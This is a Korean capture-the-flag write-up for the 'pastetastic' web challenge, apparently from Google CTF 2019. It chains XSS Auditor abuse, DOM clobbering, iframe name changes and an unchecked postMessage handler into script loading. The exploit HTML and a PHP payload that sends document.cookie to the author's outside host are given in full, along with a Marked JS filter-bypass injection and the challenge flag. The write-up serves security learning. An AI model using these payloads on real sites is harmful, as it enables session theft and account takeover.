---
# System prepended metadata

title: pastetastic (web - 500 pts)

---

# pastetastic (web - 500 pts)
## Description
The pretty paste solution!
## Exploit
이 문제는 Same-Origin-Policy와 XSS Auditor, postMessage 그리고 DOM Clobbering을 이용한 XSS문제입니다.

문제 페이지의 구성은 간단합니다.

- create : pastebin처럼 글을 작성합니다. 이때, 사용자는 원하는 Syntax를 지정할 수 있습니다.
- view : create기능을 이용하여 생성한 글을 열람합니다. 이때, 지정한 Syntax를 이용해 Code Highlighting을 해줍니다.
- report : 현재 보고있는 view 페이지를 report합니다. 

XSS를 통해 플래그를 탈취하는 문제의 전형적인 형태입니다.

글 작성 페이지나 글 열람 페이지에서는 `CONFIG` 변수를 선언합니다.
```htmlmixed=
<script nonce="blahblah">CONFIG={"viewer":[{"dependencies":[...],"plugins":[...],"preload":[...]}]}</script>
```
선언한 `CONFIG` 변수는 `http://pastetastic.web.ctfcompetition.com/static/app.js`에서 사용되며, 이는 js파일을 로드하는데 사용합니다.
```javascript=
async init() {
    const index = Array.from(document.querySelectorAll('iframe.sandbox'))
        .indexOf(this.sandbox);
    this.config = CONFIG.viewer[index];
    this.loadedPlugins = {};
    await this.sandboxLoaded;
    let loaders = [];
    for (let i = 0; i < this.config.dependencies.length; i++) {
      loaders.push(this.loadScript(this.config.dependencies[i]));
    }
    await Promise.all(loaders);
    loaders = [];
    for (let i = 0; i < this.config.preload.length; i++) {
      loaders.push(this.loadPlugin(this.config.preload[i]));
    }
    await Promise.all(loaders);
}
```
페이지에서는 C, C++, Python 등의 언어를 [Prism JS](https://prismjs.com/)를 Code Highlighting해주며, [Marked JS](https://github.com/markedjs/marked)를 이용해 Markdown을 파싱해줍니다.
그 후 iframe의 sandbox내에 들어갑니다.
**Marked JS**를 이용해 파싱할 때 필터링을 우회하여 스크립트 삽입이 가능합니다.
```htmlmixed=
Query : 
    <script><scr<script>ipt>alert(1);//</script>
Result : 
    <script>alert(1);//</p>
    </script>
```
하지만 iframe에는 sandbox가 걸려있기때문에 스크립트 실행이 불가능합니다.
> Blocked script execution in 'http://pastetastic.web.ctfcompetition.com/sandbox' because the document's frame is sandboxed and the 'allow-scripts' permission is not set.
 
그러므로 app.js내에 있는 loadScript와 loadPlugin을 이용해 스크립트를 실행시켜야 할 것 같습니다.

### XSS Auditor abusing in Chrome
XSS Auditor는 Chrome 74부터 default가 mode:block에서 filter로 변경되었습니다.
https://chromium-review.googlesource.com/c/chromium/src/+/1417872

이를 이용하여 해당 문제에 존재하는 CONFIG를 제거해 줄 수 있습니다.
URL : http://pastetastic.web.ctfcompetition.com/view/82210c03f4094e46aabb1dee839411ff?fucking=CONFIG={%22viewer%22:[{%22dependencies%22:[{%22integrity%22:%22sha256-sSTatLHEEY8GQrdYAuhkqrYogKZ/jDlgfYaqK3ld/uQ=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-core.min.js%22},{%22integrity%22:%22sha256-Y0YX22e5n0zVSAd1tJ6aypkv9o4AEX5YcRKPg1Al8jg=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/marked/0.6.1/marked.min.js%22}],%22plugins%22:{%22markdown%22:{%22integrity%22:%22sha256-e4izlzFmEQlenZQnzkYK5oyxV5mX6lwVQjL6onkHiy0=%22,%22requires%22:[%22markup%22],%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-markdown.min.js%22},%22markup%22:{%22integrity%22:%22sha256-8nT1E50WC5TDeb3+USsFEXN5ZGgLdmwZ6RS5KT71Wjs=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-markup.min.js%22}},%22preload%22:[%22markdown%22]}]};%3C/script%3E

> The XSS Auditor refused to execute a script in [URL] because its source code was found within the request. The auditor was enabled as the server did not send an 'X-XSS-Protection' header.
> app.js:24 Uncaught (in promise) ReferenceError: CONFIG is not defined
>     at Viewer.init (app.js:24)
>     at initView (app.js:203)
>     at app.js:212
>     

CONFIG가 제거되었기 때문에 app.js에서 Reference Error가 발생합니다.
이제 CONFIG를 만들러 가봅시다.

### DOM Cloberring
`iframe`의 name은 변수로써 접근이 가능합니다.
```htmlmixed=
<iframe name="p"></iframe>
```
![DOM_Cloberring_console_p](https://i.imgur.com/H9CwBJ2.png)

CONFIG 변수를 만들어 줄 수 있게 되었습니다.
예제에서 p로 접근을 하게 되면, 내부에 존재하는 변수에 접근이 가능합니다.

또한 Document Element의 attribute중 id을 변수로써 접근이 가능하게 됩니다.
Markdown을 파싱할 때, 원하는 값을 id로 넣을 수가 있습니다.
```
Input : 
# ma
# shi
## ro
Outpu : 
<h1 id="ma">ma</h1>
<h1 id="shi">shi</h1>
<h2 id="ro">ro</h2>
```

하지만 이는 Same-Origin-Policy을 따릅니다.

### Same-Origin-Policy
기본적으로 Domain이 다를 경우 DOM으로써 Cookie를 탈취하거나 내용을 가져올 수가 없습니다.
![](https://i.imgur.com/mgls3tx.png)

하지만, 내부에 존재하는 iframe의 location의 변경이 가능하며, 만약 변경한 location이 동일한 domain일 경우(e.g. A->B->A) 접근이 가능하게 됩니다.
또한, location이 자신의 domain일 경우 iframe의 name또한 변경이 가능하게 됩니다.
![](https://i.imgur.com/7p5gWMV.png)

문제에서는 렌더링을 위한 sandbox, reCAPTCHA 2개 총 3개의 iframe이 존재합니다.

XSS Auditor를 통해 CONFIG변수를 지우고 iframe 중 하나를 같은 도메인으로 변경하고 iframe의 name을 CONFIG로 변경하게 되면, CONFIG 변수로써 접근이 가능하게 됩니다.
![](https://i.imgur.com/tE252ZC.png)

### postMessage
app.js에 보면 eventHandler를 설정하는 코드가 있습니다.
그 중 error일 경우의 handler는 origin을 체크하지 않습니다.
```javascript=
window.addEventListener('message', async (evt) => {
  if (evt.data.type === 'error' && evt.data.lang) {
    await this.init();
    await this.loadPlugin(evt.data.lang);
  }
});
```
그로인해 postMessage를 통해 loadPlugin을 사용할 수 있게 됩니다.
```javascript=
loadPlugin(lang) {
if (!this.loadedPlugins[lang]) {
  const promise = (async () => {
    const spec = this.config.plugins[lang];
    if (spec.requires) {
      for (let req of spec.requires) {
        await this.loadPlugin(req);
      }
    }
    await this.loadScript(spec);
  })();
  this.loadedPlugins[lang] = promise;
}
return this.loadedPlugins[lang];
}

async loadScript(spec) {
const params = {};
if (spec.integrity) {
  params.integrity = spec.integrity;
}
const resp = await fetch(spec.src, params);
if (!resp.ok) {
  throw new Error(`${spec.src} failed to load`);
}
const script = await resp.text();
initScript(this.sandbox.contentWindow, script);
}
```
loadPlugin에서는 loadScript를 호출하는데 loadScript에서 fetch를 통해 스크립트를 로드합니다.
즉, postMessage를 통해 원하는 스크립트를 로드할 수가 있습니다.

CONFIG는 다음과 같은 구조를 가지고 있습니다.
```
CONFIG={"viewer":[{"dependencies":[...],"plugins":[...],"preload":[...]}]}
```
plugins의 src에 불러올 javascript의 주소를 넣어주게 되면 원하는 스크립트를 로드합니다.
주의할 점은 dependecnies와 preload의 값이 존재하지 않으면 에러가 발생하므로, 더미 값을 생성해줘야 합니다.

PoC는 다음과 같습니다.(https://mashiro.kr/public/ctf/google/2019/quals/pastetastic/)
exp.html:
```htmlmixed=
<!DOCTYPE html>
<html>
<head>
	<title>pastetastic exploit</title>
</head>
<body>
	<script>
		function exp(ifrm){
			var t = ifrm.contentWindow.frames[1];
			t.location="subexp.html";
			setTimeout(function(){
				t.name="CONFIG";
				setTimeout(function(){
					ifrm.contentWindow.postMessage({type:"error",lang:"firstElementChild"},'https://pastetastic.web.ctfcompetition.com');
				},800)
			},800)

		}
	</script>
	<iframe src="https://pastetastic.web.ctfcompetition.com/view/fd48dde3207a43a78c879f6faaee9bce?c=CONFIG={%22viewer%22:[{%22dependencies%22:[{%22integrity%22:%22sha256-sSTatLHEEY8GQrdYAuhkqrYogKZ/jDlgfYaqK3ld/uQ=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-core.min.js%22},{%22integrity%22:%22sha256-Y0YX22e5n0zVSAd1tJ6aypkv9o4AEX5YcRKPg1Al8jg=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/marked/0.6.1/marked.min.js%22}],%22plugins%22:{%22markdown%22:{%22integrity%22:%22sha256-e4izlzFmEQlenZQnzkYK5oyxV5mX6lwVQjL6onkHiy0=%22,%22requires%22:[%22markup%22],%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-markdown.min.js%22},%22markup%22:{%22integrity%22:%22sha256-8nT1E50WC5TDeb3+USsFEXN5ZGgLdmwZ6RS5KT71Wjs=%22,%22src%22:%22https://cdnjs.cloudflare.com/ajax/libs/prism/1.16.0/components/prism-markup.min.js%22}},%22preload%22:[%22markdown%22]}]};%3C/script%3E" name=p onload="exp(this)">
</body>
</html>
```
subexp.html:
```htmlmixed=
<iframe name="viewer" src="https://pastetastic.web.ctfcompetition.com/view/02873a7c56b042469cb4bf31baf20c90"></iframe>
```
xss.php:
```php
<?php
header('Content-Type: text/javascript');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET');
header('Cache-Control: no-store, no-cache, must-revalidate');
echo <<<EOF
(new Image()).src="https://mashiro.kr/?f="+document.cookie;
EOF
?>
```

![](https://i.imgur.com/jnka2Vc.png)

**FLAG :** CTF{694435c0074e860b24cad51f584d0d30}